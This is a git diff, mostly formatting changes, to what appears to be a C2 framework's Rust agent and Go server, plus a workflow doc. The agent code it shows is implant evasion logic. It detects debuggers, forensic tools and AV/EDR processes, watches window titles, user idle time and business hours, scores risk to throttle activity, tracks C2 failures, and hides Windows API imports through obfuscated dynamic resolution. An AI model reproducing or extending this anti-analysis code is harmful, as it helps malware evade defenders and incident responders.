unstable: +{:.1} (×{:.1})", + weight, correlation_multiplier + ); } - + // Check for recent noisy command execution if let Some(last_noisy) = opsec_state.last_noisy_command_time { let time_since_noisy = timestamp_elapsed_secs(last_noisy); if time_since_noisy < 300 { let weight = WEIGHT_NOISY_COMMAND_EXECUTION * correlation_multiplier; score_increase += weight; - debug!("[OPSEC] Noisy command: +{:.1} (×{:.1})", weight, correlation_multiplier); + debug!( + "[OPSEC] Noisy command: +{:.1} (×{:.1})", + weight, correlation_multiplier + ); } } // 6. Add correlation bonus on top score_increase += correlation_bonus; if correlation_bonus > 0.0 { - warn!("[OPSEC CORRELATION] Total correlation bonus: +{:.1}", correlation_bonus); + warn!( + "[OPSEC CORRELATION] Total correlation bonus: +{:.1}", + correlation_bonus + ); } let old_score = opsec_state.current_score; opsec_state.current_score += score_increase; - opsec_state.current_score = opsec_state.current_score.clamp(SCORE_CLAMP_MIN, SCORE_CLAMP_MAX); + opsec_state.current_score = opsec_state + .current_score + .clamp(SCORE_CLAMP_MIN, SCORE_CLAMP_MAX); if score_increase > 0.0 { - debug!("[OPSEC] Score updated: {:.1} -> {:.1} (+{:.1})", old_score, opsec_state.current_score, score_increase); + debug!( + "[OPSEC] Score updated: {:.1} -> {:.1} (+{:.1})", + old_score, opsec_state.current_score, score_increase + ); } // 5. Determine new mode using DYNAMIC THRESHOLDS with HYSTERESIS let current_score = opsec_state.current_score; let current_mode = opsec_state.mode; - + let desired_mode = match current_mode { AgentMode::FullOpsec => { // From FullOpsec: use EXIT thresholds (lower, easier to exit) @@ -316,14 +357,14 @@ fn update_opsec_score_and_mode( }; debug!("[OPSEC DYNAMIC] Mode determination: Score: {:.1}, Current: {:?}, Thresholds: Enter(R:{:.1},F:{:.1}) Exit(R:{:.1},F:{:.1}) -> Desired: {:?}", - current_score, current_mode, + current_score, current_mode, opsec_state.dyn_enter_reduced, opsec_state.dyn_enter_full, opsec_state.dyn_exit_reduced, opsec_state.dyn_exit_full, desired_mode); // 6. Cool-down period check (existing logic) let time_since_transition = timestamp_elapsed_secs(opsec_state.last_transition); - + let min_duration = match opsec_state.mode { AgentMode::FullOpsec => config.min_duration_full_opsec_secs, AgentMode::ReducedActivity => config.min_duration_reduced_activity_secs, @@ -362,7 +403,7 @@ fn check_business_hours() -> bool { let now = chrono::Local::now(); let hour = now.hour(); let weekday = now.weekday(); - + // Monday=1 to Friday=5, 9 AM to 5 PM matches!(weekday.number_from_monday(), 1..=5) && (9..=17).contains(&hour) } @@ -370,19 +411,19 @@ fn check_business_hours() -> bool { #[cfg(target_os = "windows")] fn check_idle_level() -> OpsecLevel { use crate::win_api_hiding::get_last_input_info; - use winapi::um::winuser::LASTINPUTINFO; - use winapi::um::sysinfoapi::GetTickCount; use std::mem; + use winapi::um::sysinfoapi::GetTickCount; + use winapi::um::winuser::LASTINPUTINFO; unsafe { let mut last_input_info: LASTINPUTINFO = mem::zeroed(); last_input_info.cbSize = mem::size_of::() as u32; - + if get_last_input_info(&mut last_input_info) != 0 { let current_tick = GetTickCount(); let idle_time_ms = current_tick.saturating_sub(last_input_info.dwTime); let idle_time_secs = idle_time_ms / 1000; - + // Consider user active if input within last 60 seconds if idle_time_secs < 60 { debug!("[OPSEC] User active (idle for {}s)", idle_time_secs); @@ -402,7 +443,7 @@ fn check_idle_level() -> OpsecLevel { fn check_idle_level() -> OpsecLevel { // For non-Windows, use a simple process-based heuristic use std::process::Command; - + // Check if there are active user processes (simplified) match Command::new("who").output() { Ok(output) => { @@ -430,7 +471,7 @@ static PROC_SCAN_CACHE: Lazy> = Lazy::new(|| Mutex::new((0, f pub fn check_proc_state(proc_scan_interval: u64) -> bool { let mut cache = PROC_SCAN_CACHE.lock().unwrap(); let (last_scan, last_result) = *cache; - + let now = now_timestamp(); if now.saturating_sub(last_scan) < proc_scan_interval { debug!("[OPSEC] Using cached process scan result: {}", last_result); @@ -440,28 +481,33 @@ pub fn check_proc_state(proc_scan_interval: u64) -> bool { debug!("[OPSEC] Performing fresh process scan..."); let mut threat_detected = false; let mut threat_count = 0; - + // Get running processes using sysinfo - use sysinfo::{System, RefreshKind, ProcessRefreshKind, ProcessesToUpdate}; - + use sysinfo::{ProcessRefreshKind, ProcessesToUpdate, RefreshKind, System}; + let mut sys = System::new_with_specifics( - RefreshKind::everything().with_processes(ProcessRefreshKind::everything()) + RefreshKind::everything().with_processes(ProcessRefreshKind::everything()), ); sys.refresh_processes(ProcessesToUpdate::All, true); - + // Check each running process for (pid, process) in sys.processes() { let process_name = process.name().to_string_lossy().to_lowercase(); - + // Check against high threat analysis tools for threat in HIGH_THREAT_ANALYSIS_TOOLS.iter() { if process_name.contains(&threat.to_lowercase()) { - warn!("[OPSEC] HIGH THREAT ANALYSIS TOOL DETECTED: {} (PID: {})", process.name().to_string_lossy(), pid); + warn!( + "[OPSEC] HIGH THREAT ANALYSIS TOOL DETECTED: {} (PID: {})", + process.name().to_string_lossy(), + pid + ); threat_detected = true; threat_count += 1; - + // Immediate escalation for certain critical tools - if threat.contains("ida") || threat.contains("x64dbg") || threat.contains("x32dbg") { + if threat.contains("ida") || threat.contains("x64dbg") || threat.contains("x32dbg") + { warn!("[OPSEC] CRITICAL ANALYSIS TOOL DETECTED - IMMEDIATE THREAT!"); // Could trigger self-cleanup here if desired // crate::opsec::perform_self_cleanup(); @@ -469,23 +515,30 @@ pub fn check_proc_state(proc_scan_interval: u64) -> bool { break; } } - + // Check against AV/EDR processes for av_process in COMMON_AV_EDR_PROCESSES.iter() { if process_name.contains(&av_process.to_lowercase()) { - info!("[OPSEC] AV/EDR process detected: {} (PID: {})", process.name().to_string_lossy(), pid); + info!( + "[OPSEC] AV/EDR process detected: {} (PID: {})", + process.name().to_string_lossy(), + pid + ); // AV/EDR detection increases suspicion but isn't immediately critical break; } } } - + if threat_detected { - warn!("[OPSEC] THREAT SCAN COMPLETE: {} threat process(es) detected", threat_count); + warn!( + "[OPSEC] THREAT SCAN COMPLETE: {} threat process(es) detected", + threat_count + ); } else { debug!("[OPSEC] Process scan complete: No threat processes detected"); } - + *cache = (now, threat_detected); threat_detected } @@ -494,7 +547,7 @@ pub fn check_proc_state(proc_scan_interval: u64) -> bool { pub fn check_proc_state(proc_scan_interval: u64) -> bool { let mut cache = PROC_SCAN_CACHE.lock().unwrap(); let (last_scan, last_result) = *cache; - + let now = now_timestamp(); if now.saturating_sub(last_scan) < proc_scan_interval { debug!("[OPSEC] Using cached process scan result: {}", last_result); @@ -503,49 +556,71 @@ pub fn check_proc_state(proc_scan_interval: u64) -> bool { debug!("[OPSEC] Performing fresh process scan (Linux)..."); let mut threat_detected = false; - + // Get running processes using sysinfo - use sysinfo::{System, RefreshKind, ProcessRefreshKind, ProcessesToUpdate}; - + use sysinfo::{ProcessRefreshKind, ProcessesToUpdate, RefreshKind, System}; + let mut sys = System::new_with_specifics( - RefreshKind::everything().with_processes(ProcessRefreshKind::everything()) + RefreshKind::everything().with_processes(ProcessRefreshKind::everything()), ); sys.refresh_processes(ProcessesToUpdate::All, true); - + // Check each running process for (pid, process) in sys.processes() { let process_name = process.name().to_string_lossy().to_lowercase(); - + // Check against high threat analysis tools (Linux versions) for threat in HIGH_THREAT_ANALYSIS_TOOLS.iter() { let linux_threat = threat.replace(".exe", ""); // Remove .exe for Linux if process_name.contains(&linux_threat.to_lowercase()) { - warn!("[OPSEC] THREAT ANALYSIS TOOL DETECTED: {} (PID: {})", process.name().to_string_lossy(), pid); + warn!( + "[OPSEC] THREAT ANALYSIS TOOL DETECTED: {} (PID: {})", + process.name().to_string_lossy(), + pid + ); threat_detected = true; break; } } - + // Additional Linux-specific tools let linux_threats = [ - "gdb", "strace", "ltrace", "objdump", "readelf", "hexdump", "xxd", - "wireshark", "tshark", "tcpdump", "netstat", "ss", "lsof", - "volatility", "bulk_extractor", "foremost", "binwalk" + "gdb", + "strace", + "ltrace", + "objdump", + "readelf", + "hexdump", + "xxd", + "wireshark", + "tshark", + "tcpdump", + "netstat", + "ss", + "lsof", + "volatility", + "bulk_extractor", + "foremost", + "binwalk", ]; - + for &linux_threat in &linux_threats { if process_name.contains(linux_threat) { - warn!("[OPSEC] Linux analysis tool detected: {} (PID: {})", process.name().to_string_lossy(), pid); + warn!( + "[OPSEC] Linux analysis tool detected: {} (PID: {})", + process.name().to_string_lossy(), + pid + ); threat_detected = true; break; } } } - + if !threat_detected { debug!("[OPSEC] Process scan complete: No threat processes detected"); } - + *cache = (now, threat_detected); threat_detected } @@ -555,33 +630,36 @@ pub fn check_proc_state(proc_scan_interval: u64) -> bool { fn check_window_state() -> bool { use crate::win_api_hiding::{get_foreground_window, get_window_text_w}; use std::ptr; - + unsafe { let hwnd = get_foreground_window(); if hwnd.is_null() { debug!("[OPSEC] No foreground window"); return false; } - + let mut buffer = [0u16; 512]; let len = get_window_text_w(hwnd, buffer.as_mut_ptr(), buffer.len() as i32); - + if len > 0 { let window_title = String::from_utf16_lossy(&buffer[..len as usize]); debug!("[OPSEC] Checking window title: '{}'", window_title); - + // Check against suspicious window titles for suspicious_title in SUSPICIOUS_WINDOW_TITLES.iter() { - if window_title.to_lowercase().contains(&suspicious_title.to_lowercase()) { + if window_title + .to_lowercase() + .contains(&suspicious_title.to_lowercase()) + { warn!("[OPSEC] SUSPICIOUS WINDOW DETECTED: '{}'", window_title); return true; } } - + debug!("[OPSEC] Window title check passed: '{}'", window_title); } } - + false } @@ -634,28 +712,43 @@ fn adjust_dynamic_thresholds( // === STABILITY FACTORS (increase thresholds) === if context.user_idle_level == OpsecLevel::Low { stability_modifier += USER_ACTIVE_MODIFIER; - debug!("[OPSEC DYNAMIC] User idle detected: +{}", USER_ACTIVE_MODIFIER); + debug!( + "[OPSEC DYNAMIC] User idle detected: +{}", + USER_ACTIVE_MODIFIER + ); } if !context.is_business_hours { stability_modifier += BUSINESS_HOURS_MODIFIER; - debug!("[OPSEC DYNAMIC] Off-hours detected: +{}", BUSINESS_HOURS_MODIFIER); + debug!( + "[OPSEC DYNAMIC] Off-hours detected: +{}", + BUSINESS_HOURS_MODIFIER + ); } if opsec_state.consecutive_c2_failures == 0 { stability_modifier += THRESHOLD_ADJUSTMENT_STABLE; - debug!("[OPSEC DYNAMIC] C2 stable: +{}", THRESHOLD_ADJUSTMENT_STABLE); + debug!( + "[OPSEC DYNAMIC] C2 stable: +{}", + THRESHOLD_ADJUSTMENT_STABLE + ); } // === INSTABILITY FACTORS (decrease thresholds) === if context.is_business_hours { instability_modifier += BUSINESS_HOURS_MODIFIER; - debug!("[OPSEC DYNAMIC] Business hours detected: -{}", BUSINESS_HOURS_MODIFIER); + debug!( + "[OPSEC DYNAMIC] Business hours detected: -{}", + BUSINESS_HOURS_MODIFIER + ); } if context.user_idle_level == OpsecLevel::High { instability_modifier += USER_ACTIVE_MODIFIER; - debug!("[OPSEC DYNAMIC] User active detected: -{}", USER_ACTIVE_MODIFIER); + debug!( + "[OPSEC DYNAMIC] User active detected: -{}", + USER_ACTIVE_MODIFIER + ); } if context.high_threat_process_detected || context.suspicious_window_detected { @@ -665,12 +758,15 @@ fn adjust_dynamic_thresholds( if opsec_state.consecutive_c2_failures > 0 { instability_modifier += THRESHOLD_ADJUSTMENT_UNSTABLE.abs(); - debug!("[OPSEC DYNAMIC] C2 failures detected: -{}", THRESHOLD_ADJUSTMENT_UNSTABLE.abs()); + debug!( + "[OPSEC DYNAMIC] C2 failures detected: -{}", + THRESHOLD_ADJUSTMENT_UNSTABLE.abs() + ); } // Calculate net adjustment let net_adjustment = stability_modifier - instability_modifier; - + // Apply adjustment with exponential smoothing for stability let smoothing_factor = 0.3; // Dampen rapid changes let adjusted_change = net_adjustment * smoothing_factor; @@ -692,8 +788,12 @@ fn adjust_dynamic_thresholds( .clamp(THRESHOLD_MIN_CLAMP, THRESHOLD_MAX_CLAMP); // === CRITICAL: Ensure hysteresis is maintained === - opsec_state.dyn_exit_full = opsec_state.dyn_exit_full.min(opsec_state.dyn_enter_full - HYSTERESIS_BUFFER); - opsec_state.dyn_exit_reduced = opsec_state.dyn_exit_reduced.min(opsec_state.dyn_enter_reduced - HYSTERESIS_BUFFER); + opsec_state.dyn_exit_full = opsec_state + .dyn_exit_full + .min(opsec_state.dyn_enter_full - HYSTERESIS_BUFFER); + opsec_state.dyn_exit_reduced = opsec_state + .dyn_exit_reduced + .min(opsec_state.dyn_enter_reduced - HYSTERESIS_BUFFER); // Ensure logical ordering: reduced thresholds < full thresholds if opsec_state.dyn_enter_reduced >= opsec_state.dyn_enter_full { @@ -703,7 +803,8 @@ fn adjust_dynamic_thresholds( // Update adjustment timestamp and history opsec_state.last_c2_threshold_adjustment = now_timestamp(); - opsec_state.threshold_adjustment_history = opsec_state.threshold_adjustment_history.saturating_add(1); + opsec_state.threshold_adjustment_history = + opsec_state.threshold_adjustment_history.saturating_add(1); // Log changes if significant if (opsec_state.dyn_enter_full - old_enter_full).abs() > 1.0 { @@ -715,8 +816,10 @@ fn adjust_dynamic_thresholds( adjusted_change ); } else { - debug!("[OPSEC DYNAMIC] Threshold adjustment #{}: No significant change (net: {:.1})", - opsec_state.threshold_adjustment_history, adjusted_change); + debug!( + "[OPSEC DYNAMIC] Threshold adjustment #{}: No significant change (net: {:.1})", + opsec_state.threshold_adjustment_history, adjusted_change + ); } } @@ -725,42 +828,68 @@ fn calculate_correlation_bonus(context: &OpsecContext, opsec_state: &OpsecState) // Count active signals let mut active_count = 0; let mut correlation_bonus = 0.0; - - if context.is_business_hours { active_count += 1; } - if context.user_idle_level == OpsecLevel::High { active_count += 1; } - if context.high_threat_process_detected { active_count += 1; } - if context.suspicious_window_detected { active_count += 1; } - if context.c2_connection_unstable { active_count += 1; } - + + if context.is_business_hours { + active_count += 1; + } + if context.user_idle_level == OpsecLevel::High { + active_count += 1; + } + if context.high_threat_process_detected { + active_count += 1; + } + if context.suspicious_window_detected { + active_count += 1; + } + if context.c2_connection_unstable { + active_count += 1; + } + // Recent noisy command if let Some(last_noisy) = opsec_state.last_noisy_command_time { if timestamp_elapsed_secs(last_noisy) < 300 { active_count += 1; } } - + // Specific high-risk combinations if context.high_threat_process_detected && context.user_idle_level == OpsecLevel::High { correlation_bonus += ANALYST_WORKING_BONUS; - warn!("[OPSEC CORRELATION] CRITICAL: Analysis tool + active user! (+{})", ANALYST_WORKING_BONUS); + warn!( + "[OPSEC CORRELATION] CRITICAL: Analysis tool + active user! (+{})", + ANALYST_WORKING_BONUS + ); } - + if context.high_threat_process_detected && context.suspicious_window_detected { correlation_bonus += MULTIPLE_THREATS_BONUS; - warn!("[OPSEC CORRELATION] Multiple analysis threats detected! (+{})", MULTIPLE_THREATS_BONUS); + warn!( + "[OPSEC CORRELATION] Multiple analysis threats detected! (+{})", + MULTIPLE_THREATS_BONUS + ); } - + // General correlation bonuses if active_count >= 4 { correlation_bonus += CRITICAL_CORRELATION_BONUS; - warn!("[OPSEC CORRELATION] CRITICAL: {} signals active! (+{})", active_count, CRITICAL_CORRELATION_BONUS); + warn!( + "[OPSEC CORRELATION] CRITICAL: {} signals active! (+{})", + active_count, CRITICAL_CORRELATION_BONUS + ); } else if active_count >= 3 { correlation_bonus += HIGH_CORRELATION_BONUS; - warn!("[OPSEC CORRELATION] High correlation: {} signals (+{})", active_count, HIGH_CORRELATION_BONUS); + warn!( + "[OPSEC CORRELATION] High correlation: {} signals (+{})", + active_count, HIGH_CORRELATION_BONUS + ); } - + // Return multiplier and bonus - let multiplier = if active_count >= 2 { CORRELATION_MULTIPLIER } else { 1.0 }; + let multiplier = if active_count >= 2 { + CORRELATION_MULTIPLIER + } else { + 1.0 + }; (multiplier, correlation_bonus) } @@ -769,7 +898,10 @@ fn check_c2_stability() -> bool { with_opsec_state(|state| { // Consider C2 unstable if we have consecutive failures if state.consecutive_c2_failures > 0 { - debug!("[OPSEC] C2 connection unstable: {} consecutive failures", state.consecutive_c2_failures); + debug!( + "[OPSEC] C2 connection unstable: {} consecutive failures", + state.consecutive_c2_failures + ); true } else { debug!("[OPSEC] C2 connection stable"); @@ -779,28 +911,31 @@ fn check_c2_stability() -> bool { } // Add the missing C2 threshold adjustment function: -fn adjust_c2_failure_threshold( - opsec_state: &mut OpsecState, - config: &crate::config::AgentConfig, -) { +fn adjust_c2_failure_threshold(opsec_state: &mut OpsecState, config: &crate::config::AgentConfig) { // Adjust the dynamic threshold based on current consecutive failures let base_threshold = config.base_max_consecutive_c2_failures; - + if opsec_state.consecutive_c2_failures > 0 { // We have failures - consider decreasing threshold (more sensitive) let decrease_factor = config.c2_failure_threshold_decrease_factor; let new_threshold = ((opsec_state.dynamic_max_c2_failures as f32) * decrease_factor) as u32; opsec_state.dynamic_max_c2_failures = new_threshold.max(1); // At least 1 - debug!("[OPSEC] C2 threshold decreased to {} due to failures", opsec_state.dynamic_max_c2_failures); + debug!( + "[OPSEC] C2 threshold decreased to {} due to failures", + opsec_state.dynamic_max_c2_failures + ); } else { // No recent failures - consider increasing threshold (less sensitive) let increase_factor = config.c2_failure_threshold_increase_factor; let max_multiplier = config.c2_dynamic_threshold_max_multiplier; let max_allowed = ((base_threshold as f32) * max_multiplier) as u32; - + let new_threshold = ((opsec_state.dynamic_max_c2_failures as f32) * increase_factor) as u32; opsec_state.dynamic_max_c2_failures = new_threshold.min(max_allowed); - debug!("[OPSEC] C2 threshold adjusted to {} (stable connection)", opsec_state.dynamic_max_c2_failures); + debug!( + "[OPSEC] C2 threshold adjusted to {} (stable connection)", + opsec_state.dynamic_max_c2_failures + ); } } @@ -808,12 +943,17 @@ fn adjust_c2_failure_threshold( pub fn record_c2_failure() { with_opsec_state_mut(|state| { state.consecutive_c2_failures = state.consecutive_c2_failures.saturating_add(1); - warn!("[OPSEC] C2 failure recorded: {} consecutive failures", state.consecutive_c2_failures); - + warn!( + "[OPSEC] C2 failure recorded: {} consecutive failures", + state.consecutive_c2_failures + ); + // Check if we've exceeded the dynamic threshold if state.consecutive_c2_failures >= state.dynamic_max_c2_failures { - warn!("[OPSEC] C2 failure threshold exceeded: {}/{}", - state.consecutive_c2_failures, state.dynamic_max_c2_failures); + warn!( + "[OPSEC] C2 failure threshold exceeded: {}/{}", + state.consecutive_c2_failures, state.dynamic_max_c2_failures + ); } }); } @@ -822,7 +962,10 @@ pub fn record_c2_failure() { pub fn record_c2_success() { with_opsec_state_mut(|state| { if state.consecutive_c2_failures > 0 { - info!("[OPSEC] C2 connection restored after {} failures", state.consecutive_c2_failures); + info!( + "[OPSEC] C2 connection restored after {} failures", + state.consecutive_c2_failures + ); state.consecutive_c2_failures = 0; } }); @@ -838,7 +981,5 @@ pub fn record_noisy_command() { /// Check if C2 failures have exceeded threshold pub fn c2_failures_exceeded() -> bool { - with_opsec_state(|state| { - state.consecutive_c2_failures >= state.dynamic_max_c2_failures - }) -} \ No newline at end of file + with_opsec_state(|state| state.consecutive_c2_failures >= state.dynamic_max_c2_failures) +} diff --git a/agent/src/state.rs b/agent/src/state.rs index b02d9d2..05c1820 100644 --- a/agent/src/state.rs +++ b/agent/src/state.rs @@ -1,8 +1,7 @@ +use crate::dormant::MemoryProtector; use once_cell::sync::Lazy; use std::sync::Mutex; -use crate::dormant::MemoryProtector; // Simplified initialization - no initial state needed -pub static MEMORY_PROTECTOR: Lazy> = Lazy::new(|| { - Mutex::new(MemoryProtector::new()) -}); \ No newline at end of file +pub static MEMORY_PROTECTOR: Lazy> = + Lazy::new(|| Mutex::new(MemoryProtector::new())); diff --git a/agent/src/util.rs b/agent/src/util.rs index 9c51898..ca8305a 100644 --- a/agent/src/util.rs +++ b/agent/src/util.rs @@ -3,4 +3,4 @@ pub fn random_jitter(base: u64, jitter: u64) -> u64 { return base; } base + (rand::random::() % (jitter + 1)) -} \ No newline at end of file +} diff --git a/agent/src/win_api_hiding.rs b/agent/src/win_api_hiding.rs index 10f8a15..1e5f097 100644 --- a/agent/src/win_api_hiding.rs +++ b/agent/src/win_api_hiding.rs @@ -2,15 +2,15 @@ use std::ffi::CString; use std::os::raw::c_char; // Keep for LoadLibraryA cast, though LPCSTR is *const i8 -use std::sync::OnceLock; use std::ptr; +use std::sync::OnceLock; use obfstr::obfstr; -use winapi::shared::minwindef::{DWORD, HMODULE, BOOL}; +use winapi::shared::minwindef::{BOOL, DWORD, HMODULE}; use winapi::um::libloaderapi::{GetProcAddress, LoadLibraryA}; use winapi::um::winuser::LASTINPUTINFO; // Keep for struct definition -// Removed: GetForegroundWindow, GetWindowTextW, OpenInputDesktop from winapi::um::winuser -// Removed: WTSQuerySessionInformationW from winapi::um::wtsapi32 + // Removed: GetForegroundWindow, GetWindowTextW, OpenInputDesktop from winapi::um::winuser + // Removed: WTSQuerySessionInformationW from winapi::um::wtsapi32 use winapi::shared::ntdef::LPWSTR; use once_cell::sync::Lazy; @@ -18,9 +18,23 @@ use once_cell::sync::Lazy; // Define function pointer types type FnGetLastInputInfo = unsafe extern "system" fn(plii: *mut LASTINPUTINFO) -> BOOL; type FnGetForegroundWindow = unsafe extern "system" fn() -> winapi::shared::windef::HWND; -type FnGetWindowTextW = unsafe extern "system" fn(hWnd: winapi::shared::windef::HWND, lpString: LPWSTR, nMaxCount: i32) -> i32; -type FnOpenInputDesktop = unsafe extern "system" fn(dwFlags: DWORD, fInherit: BOOL, dwDesiredAccess: DWORD) -> winapi::shared::windef::HDESK; -type FnWTSQuerySessionInformationW = unsafe extern "system" fn(hServer: winapi::shared::ntdef::HANDLE, SessionId: DWORD, WTSInfoClass: DWORD, ppBuffer: *mut LPWSTR, pBytesReturned: *mut DWORD) -> BOOL; +type FnGetWindowTextW = unsafe extern "system" fn( + hWnd: winapi::shared::windef::HWND, + lpString: LPWSTR, + nMaxCount: i32, +) -> i32; +type FnOpenInputDesktop = unsafe extern "system" fn( + dwFlags: DWORD, + fInherit: BOOL, + dwDesiredAccess: DWORD, +) -> winapi::shared::windef::HDESK; +type FnWTSQuerySessionInformationW = unsafe extern "system" fn( + hServer: winapi::shared::ntdef::HANDLE, + SessionId: DWORD, + WTSInfoClass: DWORD, + ppBuffer: *mut LPWSTR, + pBytesReturned: *mut DWORD, +) -> BOOL; // Struct to hold resolved function pointers #[derive(Debug)] @@ -42,13 +56,19 @@ static API: OnceLock = OnceLock::new(); impl WinApiProcs { fn get_proc(module: HMODULE, name_bytes: &'static [u8]) -> Option { - let len_without_null = name_bytes.iter().position(|&c| c == b'\0').unwrap_or(name_bytes.len()); + let len_without_null = name_bytes + .iter() + .position(|&c| c == b'\0') + .unwrap_or(name_bytes.len()); let name_slice_without_null = &name_bytes[0..len_without_null]; let c_name = match CString::new(name_slice_without_null) { Ok(s) => s, Err(e) => { - eprintln!("[ERROR] Failed to create CString for API proc from bytes: {:?}, error: {}", name_bytes, e); + eprintln!( + "[ERROR] Failed to create CString for API proc from bytes: {:?}, error: {}", + name_bytes, e + ); return None; } }; @@ -70,22 +90,47 @@ impl WinApiProcs { let wtsapi32_lib_name_str = obfstr!("WTSAPI32.DLL").to_string(); let wtsapi32_lib_cstring = CString::new(wtsapi32_lib_name_str).unwrap(); let wtsapi32 = LoadLibraryA(wtsapi32_lib_cstring.as_ptr() as *const c_char); - + // Use static instead of const for obfstr! - static GET_LAST_INPUT_INFO_BYTES_STORAGE: Lazy> = Lazy::new(|| obfstr!("GetLastInputInfo\0").as_bytes().to_vec()); - static GET_FOREGROUND_WINDOW_BYTES_STORAGE: Lazy> = Lazy::new(|| obfstr!("GetForegroundWindow\0").as_bytes().to_vec()); - static GET_WINDOW_TEXT_W_BYTES_STORAGE: Lazy> = Lazy::new(|| obfstr!("GetWindowTextW\0").as_bytes().to_vec()); - static OPEN_INPUT_DESKTOP_BYTES_STORAGE: Lazy> = Lazy::new(|| obfstr!("OpenInputDesktop\0").as_bytes().to_vec()); - static WTS_QUERY_SESSION_INFO_W_BYTES_STORAGE: Lazy> = Lazy::new(|| obfstr!("WTSQuerySessionInformationW\0").as_bytes().to_vec()); - + static GET_LAST_INPUT_INFO_BYTES_STORAGE: Lazy> = + Lazy::new(|| obfstr!("GetLastInputInfo\0").as_bytes().to_vec()); + static GET_FOREGROUND_WINDOW_BYTES_STORAGE: Lazy> = + Lazy::new(|| obfstr!("GetForegroundWindow\0").as_bytes().to_vec()); + static GET_WINDOW_TEXT_W_BYTES_STORAGE: Lazy> = + Lazy::new(|| obfstr!("GetWindowTextW\0").as_bytes().to_vec()); + static OPEN_INPUT_DESKTOP_BYTES_STORAGE: Lazy> = + Lazy::new(|| obfstr!("OpenInputDesktop\0").as_bytes().to_vec()); + static WTS_QUERY_SESSION_INFO_W_BYTES_STORAGE: Lazy> = + Lazy::new(|| obfstr!("WTSQuerySessionInformationW\0").as_bytes().to_vec()); + WinApiProcs { user32, wtsapi32, - get_last_input_info: if !user32.is_null() { Self::get_proc(user32, &GET_LAST_INPUT_INFO_BYTES_STORAGE) } else { None }, - get_foreground_window: if !user32.is_null() { Self::get_proc(user32, &GET_FOREGROUND_WINDOW_BYTES_STORAGE) } else { None }, - get_window_text_w: if !user32.is_null() { Self::get_proc(user32, &GET_WINDOW_TEXT_W_BYTES_STORAGE) } else { None }, - open_input_desktop: if !user32.is_null() { Self::get_proc(user32, &OPEN_INPUT_DESKTOP_BYTES_STORAGE) } else { None }, - wts_query_session_information_w: if !wtsapi32.is_null() { Self::get_proc(wtsapi32, &WTS_QUERY_SESSION_INFO_W_BYTES_STORAGE) } else { None }, + get_last_input_info: if !user32.is_null() { + Self::get_proc(user32, &GET_LAST_INPUT_INFO_BYTES_STORAGE) + } else { + None + }, + get_foreground_window: if !user32.is_null() { + Self::get_proc(user32, &GET_FOREGROUND_WINDOW_BYTES_STORAGE) + } else { + None + }, + get_window_text_w: if !user32.is_null() { + Self::get_proc(user32, &GET_WINDOW_TEXT_W_BYTES_STORAGE) + } else { + None + }, + open_input_desktop: if !user32.is_null() { + Self::get_proc(user32, &OPEN_INPUT_DESKTOP_BYTES_STORAGE) + } else { + None + }, + wts_query_session_information_w: if !wtsapi32.is_null() { + Self::get_proc(wtsapi32, &WTS_QUERY_SESSION_INFO_W_BYTES_STORAGE) + } else { + None + }, } } } @@ -112,7 +157,11 @@ pub unsafe fn get_foreground_window() -> winapi::shared::windef::HWND { } } -pub unsafe fn get_window_text_w(hWnd: winapi::shared::windef::HWND, lpString: LPWSTR, nMaxCount: i32) -> i32 { +pub unsafe fn get_window_text_w( + hWnd: winapi::shared::windef::HWND, + lpString: LPWSTR, + nMaxCount: i32, +) -> i32 { if let Some(func) = get_api().get_window_text_w { func(hWnd, lpString, nMaxCount) } else { @@ -120,7 +169,11 @@ pub unsafe fn get_window_text_w(hWnd: winapi::shared::windef::HWND, lpString: LP } } -pub unsafe fn open_input_desktop(dwFlags: DWORD, fInherit: BOOL, dwDesiredAccess: DWORD) -> winapi::shared::windef::HDESK { +pub unsafe fn open_input_desktop( + dwFlags: DWORD, + fInherit: BOOL, + dwDesiredAccess: DWORD, +) -> winapi::shared::windef::HDESK { if let Some(func) = get_api().open_input_desktop { func(dwFlags, fInherit, dwDesiredAccess) } else { @@ -128,7 +181,13 @@ pub unsafe fn open_input_desktop(dwFlags: DWORD, fInherit: BOOL, dwDesiredAccess } } -pub unsafe fn wts_query_session_information_w(hServer: winapi::shared::ntdef::HANDLE, SessionId: DWORD, WTSInfoClass: DWORD, ppBuffer: *mut LPWSTR, pBytesReturned: *mut DWORD) -> BOOL { +pub unsafe fn wts_query_session_information_w( + hServer: winapi::shared::ntdef::HANDLE, + SessionId: DWORD, + WTSInfoClass: DWORD, + ppBuffer: *mut LPWSTR, + pBytesReturned: *mut DWORD, +) -> BOOL { if let Some(func) = get_api().wts_query_session_information_w { func(hServer, SessionId, WTSInfoClass, ppBuffer, pBytesReturned) } else { @@ -140,8 +199,8 @@ pub unsafe fn wts_query_session_information_w(hServer: winapi::shared::ntdef::HA pub fn ensure_apis_loaded() -> bool { let api = get_api(); // Check a few critical ones - !api.user32.is_null() - && !api.wtsapi32.is_null() - && api.get_last_input_info.is_some() - && api.get_foreground_window.is_some() -} \ No newline at end of file + !api.user32.is_null() + && !api.wtsapi32.is_null() + && api.get_last_input_info.is_some() + && api.get_foreground_window.is_some() +} diff --git a/docs/development-workflow.md b/docs/development-workflow.md index a6edc09..848ca5e 100644 --- a/docs/development-workflow.md +++ b/docs/development-workflow.md @@ -57,19 +57,19 @@ It also enforces that pull requests into `main` come from `dev`. `agent/`. - Static UI or script changes run `Static Assets And Scripts`: shell syntax checks and JavaScript syntax checks. +- Server or agent changes run `Format`: `gofmt` validation for `server/` and + `cargo fmt --check` for `agent/`. - Pull requests into `main` run every suite regardless of path, because they are release-promotion candidates. - Documentation-only changes to `dev` can pass through `CI Gate` without running server or agent builds. -`Format Advisory` is intentionally non-blocking until the existing formatting -backlog is cleaned up. Once formatting has been normalized, it can become a -blocking suite. +Format checks are blocking whenever they are selected by the path filters. ## Foxguard Foxguard runs as a GitHub App check and is configured by `.foxguard.yml`. -Existing high-severity findings are tracked in `.foxguard/baseline.json` so new +Existing scanner findings are tracked in `.foxguard/baseline.json` so new findings can be separated from legacy debt. Secret scanning uses `.foxguard/secrets-baseline.json`. diff --git a/server/cmd/server.go b/server/cmd/server.go index 19e7bb8..c5e0cea 100644 --- a/server/cmd/server.go +++ b/server/cmd/server.go @@ -137,7 +137,7 @@ func main() { // --- HTTPS Support --- certFile := cfg.Server.TLS.CertFile keyFile := cfg.Server.TLS.KeyFile - + // Determine ports based on redirect configuration var httpAddr, httpsAddr string if cfg.Server.Redirect.Enabled { @@ -152,24 +152,24 @@ func main() { if cfg.Server.Redirect.Enabled { go func() { log.Printf("[STARTUP] Starting HTTP redirect server on %s -> HTTPS %s", httpAddr, httpsAddr) - + redirectHandler := http.HandlerFunc(func(w 